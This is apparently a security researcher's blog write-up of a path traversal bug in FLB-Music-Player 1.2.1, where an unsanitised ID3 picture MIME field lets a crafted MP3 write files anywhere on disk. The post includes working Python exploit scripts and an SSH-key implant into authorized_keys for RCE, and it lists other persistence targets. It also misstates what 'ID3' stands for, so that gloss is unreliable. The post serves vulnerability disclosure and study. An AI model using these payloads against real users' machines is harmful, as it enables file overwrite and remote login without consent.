Exploiting an Arbitrary File Write via MIME Type Misparsing

Exploiting an Arbitrary File Write via MIME Type Misparsing

Table of Contents

A while back while going through my files, I came across FLB-Music-Player, which I was using a while back before switching to a self-hosted alternative called Navidrome, which I run on my raspberry pi. I decided to take a look at it from a security point of view to try and identify any vulnerabilities in it. This blogpost will be a walkthrough of an interesting vulnerability I found in FLB-Music-Player 1.2.1, that could be abused to achieve RCE.

Introduction

FLB Music is an open-source music player created using Vue JS and packaged as an electron application that works in Windows, Mac and Linux. The music player offers a ton of features you expect in a music player and I would recommend you give it a shot. It operates in a very simple way, you add a folder with your music, and the application scans and adds your music to the collection.

During my use case , I mostly dealt with MP3 files since they are the most common format for audio files. MP3 stands for MPEG-1 Audio Layer 3. It is a widely used digital audio compression format that reduces file size while maintaining high-quality sound. Some MP3 files have metadata information embedded in them such as track title, artist, album, cover art for the song, as well as the mime type for the cover art file. Consider the following example

$ exiftool /tmp/test.mp3     
ExifTool Version Number         : 12.40
File Name                       : test.mp3
Directory                       : /tmp
File Size                       : 2.7 MiB
File Modification Date/Time     : 2026:07:23 15:49:59+03:00
File Access Date/Time           : 2026:07:23 15:49:59+03:00
File Inode Change Date/Time     : 2026:07:23 15:49:59+03:00
File Permissions                : -rwxrwxr-x
File Type                       : MP3
File Type Extension             : mp3
MIME Type                       : audio/mpeg
ID3 Size                        : 114015
Title                           : Never Gonna Give You Up
Length                          : 170 s
Album                           : Never Gonna Give You Up
Picture MIME Type               : image/png
Picture Type                    : Front Cover
Picture Description             : attached picture
Picture                         : (Binary data 113308 bytes, use -b option to extract)
User Defined URL                : (MP3-META Front Cover URL) https://i.ytimg.com/vi_webp/kfD6mSH4dCo/default.webp
Size                            : 2708782

From the result above, we can see an ID3(International Digital Rights Management) structure storing some metadata about the file. ID3 is the metadata format used to store information about an MP3 file, such as the song title, artist, album, lyrics and more. The APIC (Attached Picture) frame is used to store images or other binary data associated with the audio file. Both are separate from the MP3 audio data itself

The relationship between ID3 and APIC is that APIC frames can be attached to an MP3 file using the ID3 tag. This allows for the inclusion of additional information such as album covers, lyrics, or other visual content within the MP3 file itself. The APIC frame contains a binary data payload, which can be in various formats like JPEG, PNG, or BMP.

There are two major versions you’ll encounter:

  • ID3v1: A simple, fixed-size 128-byte tag at the end of the file.
  • ID3v2: A much more flexible format stored at the beginning of the file (though a footer is optional). Most modern software uses ID3v2.3 or ID3v2.4. We will look at this structure later on.

Source Code Analysis

While looking at the code base for this Music Player, I came across the file /src/main/core/createParsedTrack.ts, that contains a function which extracts the metadata from an MP3 file.

export function createParsedTrack(fileLocation: string) {
			.....SNIP....
			console.error(error.message);
        NodeID3.read(fileLocation, async (err: any, tags: any) => {
          if (tags && tags.image && tags.image.imageBuffer) {  // tags.image is a structure that stores the image mime(tags.image.mime) and the imagedata (tags.image.imageBuffer)
            tags.image.mime = tags.image.mime
              ? tags.image.mime.replace(/image\//g, '')
              : 'jpg';
            const albumArtPath = path.join(
              paths.albumArtFolder,
              `${removeMIME(track.fileName)}.${tags.image.mime}`
            );
            writeImageBuffer(tags.image.imageBuffer, albumArtPath);
            track.albumArt = albumArtPath;
          }
          track.title = tags.title;
          track.extractedTitle = extractTitleAndArtist(track.fileName).title;

          track.artist = tags.artist;
          track.extractedArtist = extractTitleAndArtist(track.fileName).artist;

          track.album = tags.album || 'unknown';

          track.defaultTitle =
            track.title || track.extractedTitle || track.fileName;

          track.defaultArtist = track.artist || track.extractedArtist;

          track.duration = "0:00"
          fs.stat(track.fileLocation, (err, stats) => {
            track.dateAdded = stats.ctimeMs;
          });

          fileTracker.addFile(track);
          resolve(track);
        });
      }
    })();

Looking at the code, we can see that the application extracts metadata from the file, builds a path to store the album art(albumArtPath), extracts the image data and saves it to the albumArtPath

          if (tags && tags.image && tags.image.imageBuffer) {
            tags.image.mime = tags.image.mime
              ? tags.image.mime.replace(/image\//g, '')
              : 'jpg';
            const albumArtPath = path.join(
              paths.albumArtFolder,
              `${removeMIME(track.fileName)}.${tags.image.mime}`
            );

Basically, the application:

  • Reads the ID3 structure for an mp3 file e.g song.mp3 and parses it.
  • Extracts the MIME type e.g (image/png) and removes the image/ part. If not present, it sets a default of jpg
  • Constructs albumArtPath from (albumArtFolder + ‘song.’ + ‘png’)
  • The result is ~/.config/FLB Music/Album Art/song.png

Below is a diagram to visualize how the album art is constructed and stored.

Root Cause

We note that we can control tags.image.mime which is not sanitized. The app trusts the MIME type from the MP3 file to be a simple image format like image/png, but an attacker can inject ../ sequences into it. The .replace(/image\//g, '') only removes the literal word image/ and leaves everything else including path traversal characters untouched. The result is then passed to path.join(), which resolves ../ segments during normalization, allowing an attacker to write files anywhere on the file system.

          if (tags && tags.image && tags.image.imageBuffer) {
            tags.image.mime = tags.image.mime
              ? tags.image.mime.replace(/image\//g, '') // user controlled, leading to path traversal
              : 'jpg';
            const albumArtPath = path.join(
              paths.albumArtFolder,
              `${removeMIME(track.fileName)}.${tags.image.mime}`
            );

For example, assume, we set a mime type of image/png/../../../../../tmp/pwned, the application:

  • Reads the ID3 structure for an mp3 file e.g song.mp3 and parses it.
  • Extracts the MIME type e.g (image/png/../../../../../tmp/pwned) and removes the image/ part. Now only the png/../../../../../tmp/pwned part remains.
  • Constructs albumArtPath from (albumArtFolder + ‘song.’ + ‘png/../../../../../tmp/pwned’ )
  • The result is ~/.config/FLB Music/Album Art/song.png/../../../../../tmp/pwned, which results in arbitrary file write.

The album art folder is determined at app startup(./src/MainProcess/modules/Paths.ts):

import { app } from "electron";
import fs from 'fs'
import path from "path";
const APP_DATA_FOLDER = app.getPath("userData"); // ~/.config/FLB Music
const ALBUM_ART_FOLDER = path.join(APP_DATA_FOLDER, 'Album Art') // Linux: ~/.config/FLB Music/Album Art
const ARTIST_PICTURE_FOLDER = path.join(APP_DATA_FOLDER, 'Artist Pictures')
const MUSIC_FOLDER = path.join(require("os").homedir(), "Music");
const FLBING_FOLDER = path.join(MUSIC_FOLDER, 'FLBing')

The app uses path.join(userData, "Album Art") which varies by platform:

PlatformTypical Path
Linux~/.config/FLB Music/Album Art/
macOS~/Library/Application Support/FLB Music/Album Art/
Windows%APPDATA%/FLB Music/Album Art/

Confirming the Vulnerability

To exploit the vulnerability, we first need to understand the structure of an APIC Frame. The APIC (Attached Picture) frame is an ID3v2 metadata frame defined in the ID3v2.3 and ID3v2.4 specifications. Its primary purpose is to embed cover art (album art) directly inside an audio file, so media players can display the artwork without needing external image files.

Legitimate MP3 files contain APIC frames with:

  • MIME type = image/jpeg or image/png
  • Picture type = 0x03 (Cover front)
  • Picture data = The actual JPEG/PNG binary image data

In short, when a media player (like FLB Music Player) scans an MP3 file, it extracts the APIC frame, saves the picture data to a file on disk, and caches it for display in the UI. This is the intended, benign use case.

Components of an APIC Structure:

FieldSizeDescriptionIn an exploit
Frame ID4 bytesLiteral ASCII APICAlways APIC
Frame Size4 bytes (big-endian uint32)Total size of data following this fieldDepends on payload size
Flags2 bytesFrame status flags (usually 0x00 0x00)0x00 0x00
Encoding1 byte0x00 = Latin-1, 0x01 = UTF-16, 0x02 = UTF-16BE, 0x03 = UTF-80x00 (Latin-1)
MIME typeNull-terminated stringImage format identifier, e.g. image/png, image/jpegimage/png/../../../../../../tmp/pwned
Picture type1 byteEnum: 0x00=Other, 0x01=32x32 icon, 0x02=Other icon, 0x03=Cover front, 0x04=Cover back, etc.0x03 (Cover front – expected by the app)
DescriptionNull-terminated stringUser-visible description of the picture (usually empty)Empty
Picture dataVariable (remainder of frame)Binary image data (JPEG, PNG, etc.)attacker controlled data

Using this information, we can now craft an MP3 file with a malicious APIC structure to test the vulnerability. Instead of doing it manually, python has a module that allows us to quickly build a POC

from mutagen.id3 import ID3, APIC

def create_payload(filepath='/dev/shm/hacked',content='yayhacked'):
	mime=f'image/png/../../../../../../../../../../../../../../{filepath}'
	print(f'[*] Targeting filepath : {filepath}')
	
	audio = ID3() # instantiate an empty ID3 tag

	
	picture_data = content.encode()

	# malicious structure
	audio.add(APIC(
	    encoding=3,  # set encoding to UTF-8
	    mime=mime, 
	    type=3,  # front cover image
	    desc='Cover Art',
	    data=picture_data # malicious data
	))
	audio.save('/tmp/loot/payload.mp3')

create_payload()

We can inspect the written file using xxd to confirm the bytes were successfully written.

$ xxd /tmp/loot/payload.mp3 | more   
00000000: 4944 3304 0000 0000 0863 4150 4943 0000  ID3......cAPIC..
00000010: 0059 0000 0369 6d61 6765 2f70 6e67 2f2e  .Y...image/png/.
00000020: 2e2f 2e2e 2f2e 2e2f 2e2e 2f2e 2e2f 2e2e  ./../../../../..
00000030: 2f2e 2e2f 2e2e 2f2e 2e2f 2e2e 2f2e 2e2f  /../../../../../
00000040: 2e2e 2f2e 2e2f 2e2e 2f2f 6465 762f 7368  ../../..//dev/sh
00000050: 6d2f 6861 636b 6564 0003 436f 7665 7220  m/hacked..Cover 
00000060: 4172 7400 7961 7968 6163 6b65 6400 0000  Art.yayhacked...
00000070: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000080: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000090: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000b0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000c0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000d0: 0000 0000 0000 0000 0000 0000 0000 0000  ................

Viewing the metadata with exiftool, we can see our payload embedded into the file.

$ exiftool /tmp/loot/payload.mp3                   
ExifTool Version Number         : 12.40
File Name                       : payload.mp3
Directory                       : /tmp/loot
File Size                       : 1133 bytes
File Modification Date/Time     : 2026:07:24 12:13:39+03:00
File Access Date/Time           : 2026:07:24 12:13:50+03:00
File Inode Change Date/Time     : 2026:07:24 12:13:39+03:00
File Permissions                : -rw-rw-r--
File Type                       : MP3
File Type Extension             : mp3
MIME Type                       : audio/mpeg
ID3 Size                        : 1133
Picture MIME Type               : image/png/../../../../../../../../../../../../../..//dev/shm/hacked
Picture Type                    : Front Cover
Picture Description             : Cover Art
Picture                         : (Binary data 9 bytes, use -b option to extract)

The last step is to trigger the vulnerability by adding a folder containing our malicious mp3 file(/tmp/loot) in the settings page.

Once loaded, our file is created proving we have an arbitrary file write primitive.

Getting RCE

This vulnerability can also be used to achieve remote code execution. There are several interesting ways of getting RCE, for example:

  • Writing an attacker’s SSH Key and using it to authenticate
  • Overwriting terminal files such as ~/.bashrc
  • Overwriting python module files such as re.py, which is triggered when import re is used(We covered this in this post).
  • Overwriting python .pth files

For this example, we will keep it simple and go with writing an SSH key. First things first, we can create an SSH key pair.

Create a new malicious MP3 file with the SSH key content and path

from mutagen.id3 import ID3, APIC
def create_payload(filepath='/dev/shm/hacked',content='yayhacked'):
	mime=f'image/png/../../../../../../../../../../../../../../{filepath}'
	print(f'[*] Targeting filepath : {filepath}')
	
	audio = ID3() # instantiate an empty ID3 tag

	
	picture_data = content.encode()
	# malicious structure
	audio.add(APIC(
	    encoding=3,  # set encoding to UTF-8
	    mime=mime, 
	    type=3,  # front cover image
	    desc='Cover Art',
	    data=picture_data # malicious data
	))
	audio.save('/tmp/loot/payload.mp3')

ssh_key='''ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCcJ9oJWWDF5jo+yLSBMxtTwIKNucjigniA8MGNKDSMF8zbOcmNEKOGfx8YiTHaNRMM9z/f1xyrW8I1Z1xXUqJVE0dXncWl593k30u+1O4riF48UaWlHJseXo5WMPvgz5sE0vvJwfcnANWKuoAvu1ZuZ01A4wQ7Yy6NnZAya8BU8LtrQCpC142FAOeNMMjDd4e54i2HUC7TNwhi9p2hY8CzKHeZofH1tG4SbLtNgl4wK6ZwZMj5yB0v1TJC5349KRe77GzASnJLoaePo+dvhaXUpM8qAThMofTqwkVR5ROfq8NP5kwyAg/J0x8uZ7tqMkmjURUD+pz9DGg0nOirt893TAVoi2PbAz/AgJy34LD4kxruyeLdn8QNsE6Hn6skb1KpJINw7P/DQLvEpG5VWPpUbPJyuTDL9y9pVOXWmgn4VFkupP3tGQ+A3sMPidftyFSi6fh0rurCWp+Qu9VPJ34bt0xXJGjFG+EmK9KjiZe7OgXgsv/Yw0CSWBHWhI9pWck= attacker@evil.com'''

ssh_key_location='/home/zerofrost/.ssh/authorized_keys'

create_payload(filepath=ssh_key_location,content=ssh_key)

Unload and load the folder again.

Checking the ssh public key, we can see that it was overwritten.

With our private key, we can now login to the machine.

Share :

Related Posts

ShmooCon CTF

ShmooCon CTF

Over the recent weekend, I found some free time that enabled me to participate in the ShmooCon CTF. While it did not have pwn challenges as I had hoped, they offered a variety of challenges I enjoyed solving. This blogpost is a walkthrough of some of the challenges I managed to solve.

Read More
No Hash, No Password, No Problem: Owning Active Directory via MSSQL and RBCD

No Hash, No Password, No Problem: Owning Active Directory via MSSQL and RBCD

In an internal assessment, I gained access to a linked MSSQL server running with domain administrator privileges. The initial access vector involved exploiting an arbitrary file read vulnerability on a Windows server, which allowed reading of configuration files, one of which contained MSSQL credentials.

Read More
Abusing Legitimate Features in Casaos

Abusing Legitimate Features in Casaos

CasaOs is one of the go-to tools for home server setups among tech and cloud enthusiasts. It is a straight forward interface that simplifies the complexities of server management, allowing users to set up and manage their own servers via a user-friendly interface without the steep learning curve usually associated with traditional server setups. In this blog post, we will explore some of the features in CasaOs and how an attacker could abuse them to compromise the underlying host.

Read More